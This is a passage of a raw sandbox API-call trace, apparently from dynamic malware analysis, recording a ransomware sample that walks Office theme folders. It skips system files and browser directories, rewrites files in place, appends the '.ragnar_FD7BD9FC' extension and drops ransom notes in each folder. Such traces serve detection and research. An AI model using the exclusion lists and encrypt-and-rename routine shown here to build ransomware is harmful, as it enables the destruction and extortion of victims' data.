lpString2="ntldr") returned 1 [0076.463] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0076.464] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0076.464] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0076.464] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0076.464] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0076.464] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0076.464] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0076.464] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0076.464] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0076.464] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0076.464] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0076.464] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png")) returned 0x20 [0076.464] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0076.464] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=47962) returned 1 [0076.464] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xbb51, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.464] GetProcessHeap () returned 0x580000 [0076.464] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0076.464] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0076.472] VirtualAlloc (lpAddress=0x0, dwSize=0xbb5a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0076.472] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.472] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0076.472] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xbb5a, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xbb5a, lpOverlapped=0x0) returned 1 [0076.474] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0076.474] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbb5a, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.474] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xbb5a, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xbb5a, lpOverlapped=0x0) returned 1 [0076.474] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbb5a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.474] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0076.475] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xbb5a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.475] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.475] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.475] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.475] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0076.475] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.475] GetProcessHeap () returned 0x580000 [0076.475] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0076.475] CloseHandle (hObject=0x100) returned 1 [0076.475] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" [0076.475] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0076.475] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0076.476] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0076.476] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0076.476] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN", cAlternateFileName="")) returned 1 [0076.476] lstrcmpiW (lpString1="SATIN", lpString2=".") returned 1 [0076.476] lstrcmpiW (lpString1="SATIN", lpString2="..") returned 1 [0076.476] lstrcmpiW (lpString1="SATIN", lpString2="Windows") returned -1 [0076.476] lstrcmpiW (lpString1="SATIN", lpString2="Windows.old") returned -1 [0076.476] lstrcmpiW (lpString1="SATIN", lpString2="Tor browser") returned -1 [0076.476] lstrcmpiW (lpString1="SATIN", lpString2="Internet Explorer") returned 1 [0076.476] lstrcmpiW (lpString1="SATIN", lpString2="Google") returned 1 [0076.476] lstrcmpiW (lpString1="SATIN", lpString2="Opera") returned 1 [0076.476] lstrcmpiW (lpString1="SATIN", lpString2="Opera Software") returned 1 [0076.476] lstrcmpiW (lpString1="SATIN", lpString2="Mozilla") returned 1 [0076.476] lstrcmpiW (lpString1="SATIN", lpString2="Mozilla Firefox") returned 1 [0076.476] lstrcmpiW (lpString1="SATIN", lpString2="$Recycle.Bin") returned 1 [0076.476] lstrcmpiW (lpString1="SATIN", lpString2="ProgramData") returned 1 [0076.476] lstrcmpiW (lpString1="SATIN", lpString2="All Users") returned 1 [0076.476] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0076.477] lstrcpyW (in: lpString1=0x1eb638, lpString2="SATIN" | out: lpString1="SATIN") returned="SATIN" [0076.477] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\" [0076.477] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\" [0076.477] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\RGNR_FD7BD9FC.txt" [0076.477] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0076.479] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*.*" [0076.479] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x45 [0076.479] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0076.479] lstrcpyW (in: lpString1=0x1ea758, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0076.479] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7fd2b280, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7fd2b280, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0076.479] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0076.479] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7fd2b280, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7fd2b280, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.479] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0076.479] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0076.479] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0076.479] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0076.479] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0076.479] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fd2b280, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7fd2b280, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0076.479] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0076.479] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0076.479] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24bfd200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24bfd200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1936f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN.ELM", cAlternateFileName="")) returned 1 [0076.479] lstrcmpiW (lpString1="SATIN.ELM", lpString2=".") returned 1 [0076.479] lstrcmpiW (lpString1="SATIN.ELM", lpString2="..") returned 1 [0076.479] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN.INF", cAlternateFileName="")) returned 1 [0076.479] lstrcmpiW (lpString1="SATIN.INF", lpString2=".") returned 1 [0076.479] lstrcmpiW (lpString1="SATIN.INF", lpString2="..") returned 1 [0076.479] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0076.480] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0076.480] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0076.480] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0076.480] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0076.480] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7fd2b280, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7fd2b280, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0076.480] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7fd2b280, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7fd2b280, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.480] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0076.480] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x45 [0076.480] lstrcpyW (in: lpString1=0x1eab6c, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0076.480] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned=".GIF" [0076.480] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0076.480] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0076.480] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0076.480] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0076.480] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0076.480] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0076.480] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0076.480] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0076.480] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0076.480] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0076.480] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0076.480] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0076.480] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0076.480] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0076.480] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0076.480] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0076.480] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0076.480] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0076.480] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0076.480] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0076.481] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0076.481] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0076.481] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif")) returned 0x20 [0076.481] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0076.481] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=3611) returned 1 [0076.482] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe12, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.482] GetProcessHeap () returned 0x580000 [0076.482] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0076.482] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0076.483] VirtualAlloc (lpAddress=0x0, dwSize=0xe1b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0076.483] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.483] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0076.483] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe1b, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xe1b, lpOverlapped=0x0) returned 1 [0076.483] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0076.483] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe1b, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.484] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe1b, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xe1b, lpOverlapped=0x0) returned 1 [0076.484] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe1b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.484] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0076.484] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe1b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.484] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.484] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.484] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.484] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0076.484] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.484] GetProcessHeap () returned 0x580000 [0076.484] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0076.484] CloseHandle (hObject=0x10c) returned 1 [0076.484] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" [0076.485] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common 